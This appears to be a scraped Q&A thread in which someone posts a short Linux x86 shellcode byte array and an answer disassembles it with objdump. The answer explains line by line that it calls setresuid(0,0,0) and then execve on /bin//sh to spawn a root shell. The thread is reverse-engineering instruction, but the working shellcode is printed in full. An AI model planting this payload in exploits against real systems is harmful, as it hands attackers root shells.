Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

How can I check the commands the given shellcode executes?

Lets say I'm given the following shellcode:

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

How can I check what it means / the ASM instructions it represents? Thanks :)

like image 567
matanc1 Avatar asked Dec 21 '22 05:12

matanc1


1 Answers

Compile and disassemble it! For your example:

$ cat example.c 
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
$ make example.o
cc    -c -o example.o example.c
$ objdump -D example.o

example.o:     file format elf64-x86-64


Disassembly of section .data:

0000000000000000 <shellcode>:
   0:   31 c0                   xor    %eax,%eax
   2:   31 db                   xor    %ebx,%ebx
   4:   31 c9                   xor    %ecx,%ecx
   6:   99                      cltd   
   7:   b0 a4                   mov    $0xa4,%al
   9:   cd 80                   int    $0x80
   b:   6a 0b                   pushq  $0xb
   d:   58                      pop    %rax
   e:   51                      push   %rcx
   f:   68 2f 2f 73 68          pushq  $0x68732f2f
  14:   68 2f 62 69 6e          pushq  $0x6e69622f
  19:   89 e3                   mov    %esp,%ebx
  1b:   51                      push   %rcx
  1c:   89 e2                   mov    %esp,%edx
  1e:   53                      push   %rbx
  1f:   89 e1                   mov    %esp,%ecx
  21:   cd 80                   int    $0x80
    ...

Note the use of objdump's -D flag to disassemble all sections, rather than just what it thinks the executable sections are.

As for what this code means, I guess we can break it down piece by piece (from above, with inline comments):

xor    %eax,%eax   // clear eax register
xor    %ebx,%ebx   // clear ebx register
xor    %ecx,%ecx   // clear ecx register
cltd               // clear edx register (via sign-extension of eax
                   //     - only a compiler would do this operation 
                   //       in this way, I'd guess, so your shell code
                   //       probably wasn't hand-written
mov    $0xa4,%al   // put 0xa4 (decimal 164) into eax
int    $0x80       // do system call.  Syscall 164 is "sys_setresuid"
                   //   - it takes three parameters, in ebx, ecx, and edx,
                   //     so in this case, it's calling sys_setresuid(0, 0, 0);
pushq  $0xb        // push constant 0xb (decimal 11) to the stack
pop    %rax        // pop it back into rax
push   %rcx        // push the 0 in rcx to the stack
pushq  $0x68732f2f // push constant to the stack (looks like ASCII? "//sh")
pushq  $0x6e69622f // push constant to the stack (looks like ASCII? "/bin")
mov    %esp,%ebx   // put a pointer to this stack pushed stuff into ebx
push   %rcx        // push rcx again, it's still 0
mov    %esp,%edx   // put a pointer to this 0 on the stack into edx
push   %rbx        // push rbx, it's 0 too
mov    %esp,%ecx   // put a pointer to this 0 into ecx
int    $0x80       // system call again - this time, it's call 11, which is
                   //    sys_execve.  It takes a pointer to a filename to execute
                   //    and two more pointers to the arguments and environment to
                   //    pass

So this code first calls:

sys_setresuid(0, 0, 0)

To give itself root privileges, and then calls sys_execve() to start running /bin/sh, giving a shell prompt.

like image 173
Carl Norum Avatar answered Jan 05 '23 16:01

Carl Norum